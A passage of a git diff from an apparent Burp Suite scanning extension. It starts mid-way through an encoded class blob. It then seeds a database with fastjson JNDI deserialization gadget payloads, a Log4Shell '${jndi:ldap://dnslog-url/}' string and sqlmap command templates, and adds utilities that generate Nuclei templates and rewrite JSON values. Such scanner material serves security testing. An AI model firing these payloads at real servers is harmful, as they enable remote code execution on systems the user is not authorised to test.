d9$d8$ce$k$c0$ed$ecy$ec$60o$m$c7$de$c3$$B$b7$93$fd$Dw$60$84$90$9d$a7nL$b0w$I$cbg$I$fb$A$abc$XI$ba$b0$91$9d$c7n$ec$a1$u$c6$d8c$d8K$bc0$K$ec$7e$8c$S$_$82$T$e4$f7N$a2$a28$cb$s$b1$8f$a4$f4$cd$c3$b6c$3fQ$i$af$b1u8$40T$8c$90$7fD$R$k$84L$f8$3f$c4$5d8$84nB$5bG$k$87$a1$Q$e6$X0$8e$bb$d1C$c8$9f$c3$3d$a4$d7K$f8$9f$c2g1$818$a1$9e$a0$cc$ec$a1$ac$d1$b4$e0$I$ee$r$b4G$e9$dfC$f42$a5$40$910$v$e1s$S$a6$q$ik$ae$3e$e1$ff$8eK$f8$3c$d0$7d$Z$db$90$b8$W$5d$J_$90$f0$c5$G$7d$CX$7b$99$ca$c1$c8N$y_$SS$ac$d1$de$5d$u$7e$M$9c$80Y$e4$3a$N$A$A\"}}:\"xxx\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (10, 'jndi', '{\"@\\\\x74ype\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (11, 'jndi', '{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (12, 'jndi', '{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (13, 'jndi', '{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (14, 'jndi', '{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"FUZZ\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (15, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"FUZZ\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (16, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@\\\\x74ype\":\"java.util.Properties\",\"UserTransaction\":\"FUZZ\"}}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (17, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"java.lang.AutoCloseable\",\"@\\\\x74ype\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"FUZZ\",\"command\":\"111\"}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (18, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"is\":{\"@\\\\x74ype\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"FUZZ\",\"autoCommit\":true}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (19, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"FUZZ\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (20, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"FUZZ\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (21, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"FUZZ\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (22, 'jndi', '{\"aaa\":{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"FUZZ\"}}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (23, 'jndi', '{\"bbb\":{\"@\\\\x74ype\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"FUZZ\",\"autoCommit\":true}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (24, 'jndi', '{\"bbb\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (25, 'jndi', '{\"bbbbbb\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (26, 'jndi', '{\"bbbbbb\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (27, 'version', '[\"a\"]');"); + sqls.add("INSERT INTO \"config\" VALUES (17, 'log4j', 'log4jHeader', 'X-Remote-Addr');"); + sqls.add("INSERT INTO \"config\" VALUES (18, 'log4j', 'log4jPayload', '${jndi:ldap://dnslog-url/}');"); + sqls.add("INSERT INTO \"config\" VALUES (78, 'sql', 'sqlWhiteSqlDomain', 'sql.com');"); + sqls.add("INSERT INTO \"config\" VALUES (79, 'sql', 'sqlErrorKey', 'mysql error');"); + sqls.add("INSERT INTO \"config\" VALUES (94, 'sql', 'sqlWhiteCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (101, 'sql', 'sqlDeleteOrginCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (105, 'config', 'ip', '1.1.1.1');"); + sqls.add("INSERT INTO \"config\" VALUES (106, 'tool', 'sqlmap', 'python sqlmap.py -r {request} -u {url} -h {host}');"); + sqls.add("INSERT INTO \"config\" VALUES (107, 'tool', 'sqlmapasd', 'python sqlmap.py -r {request} -u {url} -h {host}');"); + sqls.add("INSERT INTO \"config\" VALUES (108, 'tool', 'sqlmapasdaaa', 'python sqlmap.py -r {request} -u {url} -h {host}');"); + sqls.add("INSERT INTO \"config\" VALUES (112, 'perm', 'permWhiteDomain', '192.168.11.9:8980');"); + sqls.add("INSERT INTO \"config\" VALUES (115, 'perm', 'permWhiteDomainCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (127, 'log4j', 'log4jDnsIpCheckBox', 'true');"); + sqls.add("INSERT INTO \"config\" VALUES (134, 'log4j', 'log4jWhiteDomain', 'www.baidu.com');"); + sqls.add("INSERT INTO \"config\" VALUES (136, 'log4j', 'log4jWhiteDomainCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (145, 'sql', 'sqlCheckCookieCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (146, 'sql', 'sqlPassiveScanCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (148, 'perm', 'permLowAuth', 'Cookie: JSESSIONID=asd');"); + sqls.add("INSERT INTO \"config\" VALUES (149, 'perm', 'permNoAuth', 'Cookie');"); + sqls.add("INSERT INTO \"config\" VALUES (150, 'perm', 'permPassiveScanBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (151, 'log4j', 'log4jPassiveScanBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (158, 'log4j', 'log4jOrgPayloadCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (160, 'log4j', 'log4jHeaderCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (161, 'log4j', 'log4jParamCheckBox', 'false');"); + sqls.add("INSERT INTO \"config\" VALUES (162, 'config', 'dnslog', 'asd.com');"); + + + // 创建表 + for (String sql : sqls) { + Statement statement = connection.createStatement(); + statement.execute(sql); + statement.close(); + } + } catch (SQLException e) { + System.out.println(e.getMessage()); + Utils.stderr.println(e.getMessage()); + } + } + + + public static void close(Connection connection, PreparedStatement preparedStatement, ResultSet resultSet) { + try { + if (connection != null) { + connection.close(); + } + if (preparedStatement != null) { + preparedStatement.close(); + } + if (resultSet != null) { + resultSet.close(); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } + } + +} diff --git a/src/main/java/burp/utils/JsonUtils.java b/src/main/java/burp/utils/JsonUtils.java new file mode 100644 index 0000000..dd42e4f --- /dev/null +++ b/src/main/java/burp/utils/JsonUtils.java @@ -0,0 +1,75 @@ +package burp.utils; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class JsonUtils { + public static List updateJsonObjectFromStr(Object baseObj, String updateStr, int mode) { + List resultList = new ArrayList<>(); + + if (mode == 0) { + resultList.add(replaceUpdate(baseObj, updateStr)); + } else if (mode == 1) { + resultList.add(appendUpdate(baseObj, updateStr)); + } else { + throw new IllegalArgumentException("Invalid mode: " + mode); + } + + return resultList; + } + + private static Object replaceUpdate(Object obj, String updateStr) { + if (obj instanceof Map) { + Map map = (Map) obj; + Map updatedMap = new HashMap<>(); + for (Map.Entry entry : map.entrySet()) { + updatedMap.put(entry.getKey(), replaceUpdate(entry.getValue(), updateStr)); + } + return updatedMap; + } else if (obj instanceof List) { + List list = (List) obj; + List updatedList = new ArrayList<>(); + for (Object item : list) { + updatedList.add(replaceUpdate(item, updateStr)); + } + return updatedList; + } else if (obj instanceof String || obj instanceof Integer) { + return updateStr; + } else if (obj instanceof Boolean) { + // Handle Boolean values here as per your requirements + // For example, you can return true or false based on the updateStr + return obj; + } else { + throw new IllegalArgumentException("Unsupported data type: " + obj.getClass().getSimpleName()); + } + } + + + private static Object appendUpdate(Object obj, String updateStr) { + if (obj instanceof Map) { + Map map = (Map) obj; + Map updatedMap = new HashMap<>(); + for (Map.Entry entry : map.entrySet()) { + updatedMap.put(entry.getKey(), appendUpdate(entry.getValue(), updateStr)); + } + return updatedMap; + } else if (obj instanceof List) { + List list = (List) obj; + List updatedList = new ArrayList<>(); + for (Object item : list) { + updatedList.add(appendUpdate(item, updateStr)); + } + return updatedList; + } else if (obj instanceof String || obj instanceof Integer) { + return obj + updateStr; + } else if (obj instanceof Boolean) { + // Handle Boolean values here as per your requirements + // For example, you can return true or false based on the updateStr + return obj; + } else { + throw new IllegalArgumentException("Unsupported data type: " + obj.getClass().getSimpleName()); + } + } +} diff --git a/src/main/java/burp/utils/Nuclei.java b/src/main/java/burp/utils/Nuclei.java new file mode 100644 index 0000000..f805050 --- /dev/null +++ b/src/main/java/burp/utils/Nuclei.java @@ -0,0 +1,99 @@ +package burp.utils; + +import burp.IHttpRequestResponse; +import burp.IRequestInfo; +import burp.bean.NucleiBean; +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.common.TemplateParserContext; +import org.springframework.expression.spel.standard.SpelExpressionParser; + +import javax.swing.*; +import java.awt.*; +import java.awt.datatransfer.StringSelection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class Nuclei { + private static final String Template_post = "id: #{[id]}\n" + + "\n" + + "info:\n" + + " name: #{[name]}\n" + + " author: #{[author]}\n" + + " severity: #{[severity]}\n" + + " description: #{[description]}\n" + + " reference:\n" + + " - #{[reference]}\n" + + " tags: #{[tags]}\n" + + "\n" + + "requests:\n" + + " - raw:\n" + + " - |\n" + + " #{[raw]}\n" + + "\n" + + " matchers:\n" + + " - type: dsl\n" + + " dsl:\n" + + " - \"#{[dsl]}\"\n"; + public static String[] severitys = {"critical", "high", "medium", "low", "info"}; + public static String[] dslStr = {"contains(body_1, 'bingo')", "status_code_1 == 200 && !contains(body_3, 'bingo')", "regex('root:.*:0:0:', body)", "contains(body, 'bingo')", "contains(all_headers_1, 'text/html')"}; + private static String dsl; + private static String severity; + private static String name; + private static String author; + private static IRequestInfo analyzeRequest; + private static IHttpRequestResponse baseRequestResponse; + + + public static void Generate(IHttpRequestResponse[] iContextMenuInvocation) { + baseRequestResponse = iContextMenuInvocation[0]; + analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + name = JOptionPane.showInputDialog(null, "请输入模板名称"); + author = JOptionPane.showInputDialog(null, "请输入作者名称"); + severity = JOptionPane.showInputDialog(null, "请选择漏洞等级", "选择框", JOptionPane.INFORMATION_MESSAGE, null, severitys, severitys[0]).toString(); + dsl = JOptionPane.showInputDialog(null, "请选择表达式demo", "选择框", JOptionPane.INFORMATION_MESSAGE, null, dslStr, dslStr[0]).toString(); + JOptionPane.showMessageDialog(null, "模板数据已复制到粘贴板,请自行更改其他参数"); + + StringSelection template = new StringSelection(NucleiPost()); + Toolkit.getDefaultToolkit().getSystemClipboard().setContents(template, template); + } + + public static String NucleiPost() { + Map params = new HashMap<>(); + NucleiBean nuclei = new NucleiBean(); + nuclei.setId(Utils.getTimeNow()); + nuclei.setName(name); + nuclei.setAuthor(author); + nuclei.setSeverity(severity); + nuclei.setReference("Reference"); + nuclei.setDescription("description"); + nuclei.setTags("tags"); + StringBuilder raw_post = new StringBuilder(); + List headers = analyzeRequest.getHeaders(); + for (String header : headers) { + if (!header.contains("Host")) { + raw_post.append(header).append("\n "); + } + } + int bodyOffset = analyzeRequest.getBodyOffset(); + byte[] byte_Request = baseRequestResponse.getRequest(); + + String request = new String(byte_Request); + String body = " " + request.substring(bodyOffset); + raw_post.append("\n").append(body.replace("\r\n", "\r\n ")); + nuclei.setRaw(raw_post.toString()); + params.put("id", nuclei.getId()); + params.put("name", nuclei.getName()); + params.put("author", nuclei.getAuthor()); + params.put("severity", nuclei.getSeverity()); + params.put("reference", nuclei.getReference()); + params.put("description", nuclei.getDescription()); + params.put("tags", nuclei.getTags()); + params.put("raw", nuclei.getRaw()); + params.put("dsl", dsl); + ExpressionParser parser = new SpelExpressionParser(); + TemplateParserContext parserContext = new TemplateParserContext(); + return parser.parseExpression(Template_post, parserContext).getValue(params, String.class); + } + +} diff --git a/src/main/java/burp/utils/RobotInput.java b/src/main/java/burp/utils/RobotInput.java new file mode 100644 index 0000000..33026d6 --- /dev/null +++ b/src/main/java/burp/utils/RobotInput.java @@ -0,0 +1,19 @@ +package burp.utils; + +import java.awt.*; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.StringSelection; + +public class RobotInput extends Robot { + public RobotInput() throws AWTException { + super(); + } + + public void inputString(String str) { + delay(100); + Clipboard clip = Toolkit.getDefaultToolkit().getSystemClipboard();//获取剪切板 + StringSelection tText = new StringSelection(str); + clip.setContents(tText, tText); //设置剪切板内容,在Linux中这会修改ctrl+shift+v的内容 + delay(100); + } +} diff --git a/src/main/java/burp/utils/Utils.java b/src/main/java/burp/utils/Utils.java new file mode 100644 index 0000000..bef5af4 --- /dev/null +++ b/src/main/java/burp/utils/Utils.java @@ -0,0 +1,116 @@ +package burp.utils; + +import burp.IBurpExtenderCallbacks; +import burp.IExtensionHelpers; +import burp.IHttpRequestResponse; +import org.apache.commons.io.FileUtils; +import org.springframework.util.DigestUtils; + +import java.io.File; +import java.io.IOException; +import java.io.PrintWriter; +import java.net.URLEncoder; +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Date; +import java.util.List; + +public class Utils { + public static IBurpExtenderCallbacks callbacks; + public static IExtensionHelpers helpers; + public static PrintWriter stdout; + public static PrintWriter stderr; + public static String name = "gatherBurp"; + public static String version = "1.0.1"; + public static String author = "Xm17"; + public static String workdir = System.getProperty("user.home") + "/.gather/"; + + public static String writeReqFile(IHttpRequestResponse message) { + try { + String host = message.getHttpService().getHost(); + + SimpleDateFormat simpleDateFormat = + new SimpleDateFormat("MMdd-HHmmss"); + String timeString = simpleDateFormat.format(new Date()); + String filename = host + "." + timeString + ".req"; + + File requestFile = new File(workdir, filename); + FileUtils.writeByteArrayToFile(requestFile, message.getRequest()); + return requestFile.getAbsolutePath(); + } catch (IOException e) { + Utils.stderr.println(e.getMessage()); + return null; + } + } + + public static List getSuffix() { + List suffix = new ArrayList<>(); + suffix.add(".js"); + suffix.add(".css"); + suffix.add(".jpg"); + suffix.add(".png"); + suffix.add(".gif"); + suffix.add(".ico"); + suffix.add(".svg"); + suffix.add(".woff"); + suffix.add(".ttf"); + suffix.add(".eot"); + suffix.add(".woff2"); + suffix.add(".otf"); + suffix.add(".mp4"); + suffix.add(".mp3"); + suffix.add(".avi"); + suffix.add(".flv"); + suffix.add(".swf"); + suffix.add(".webp"); + suffix.add(".zip"); + suffix.add(".rar"); + suffix.add(".7z"); + suffix.add(".gz"); + suffix.add(".tar"); + suffix.add(".exe"); + suffix.add(".pdf"); + suffix.add(".doc"); + suffix.add(".docx"); + suffix.add(".xls"); + suffix.add(".xlsx"); + suffix.add(".ppt"); + suffix.add(".pptx"); + suffix.add(".txt"); + suffix.add(".xml"); + suffix.add(".apk"); + suffix.add(".ipa"); + suffix.add(".dmg"); + suffix.add(".iso"); + suffix.add(".img"); + suffix.add(".torrent"); + suffix.add(".jar"); + suffix.add(".war"); + suffix.add(".py"); + return suffix; + } + + + // 返回当前时间戳 + public static String getTimeNow() { + return String.valueOf(System.currentTimeMillis() / 1000); + } + + // 替换字符串中的特殊字符 + public static String ReplaceChar(String input) { + // 使用正则表达式替换特殊字符 + return input.replaceAll("[\\n\\r]", ""); + } + + // 对字符串进行url编码 + public static String UrlEncode(String input) { + return URLEncoder.encode(input); + } + + // 对字符串进行MD5编码 + public static String MD5Encode(String input) { + return DigestUtils.md5DigestAsHex(input.getBytes()); + } + + +}